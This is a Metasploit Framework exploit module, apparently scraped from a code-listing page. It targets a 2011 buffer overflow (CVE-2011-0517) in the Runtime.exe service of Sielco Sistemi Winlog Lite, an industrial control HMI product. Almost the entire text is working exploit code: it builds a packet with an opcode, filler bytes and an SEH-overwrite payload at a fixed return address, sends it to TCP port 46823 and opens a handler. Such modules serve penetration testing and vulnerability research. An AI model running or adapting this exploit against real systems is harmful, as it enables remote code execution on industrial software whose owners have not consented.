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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | ## # $Id: winlog_runtime.rb 13000 2011-06-21 22:42:53Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Sielco Sistemi Winlog Buffer Overflow', 'Description'=> %q{ This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.00. When sending a specially formatted packet to the Runtime.exe service, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Luigi Auriemma', 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 13000 $', 'References' => [ [ 'CVE', '2011-0517' ], [ 'OSVDB', '70418'], [ 'URL', 'http://aluigi.org/adv/winlog_1-adv.txt' ], ], 'Privileged' => false, 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload'=> { 'Space'=> 450, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets'=> [ [ 'Winlog Lite 2.07.00', { 'Ret' => 0x011946de } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 13 2011')) register_options([Opt::RPORT(46823)], self.class) end def exploit connect data =[0x02].pack('C') # opcode data << [0x0101].pack('n') data << rand_text_alpha_upper(588) data << generate_seh_payload(target.ret) print_status("Trying target #{target.name}...") sock.put(data) handler disconnect end end |
体验盒子
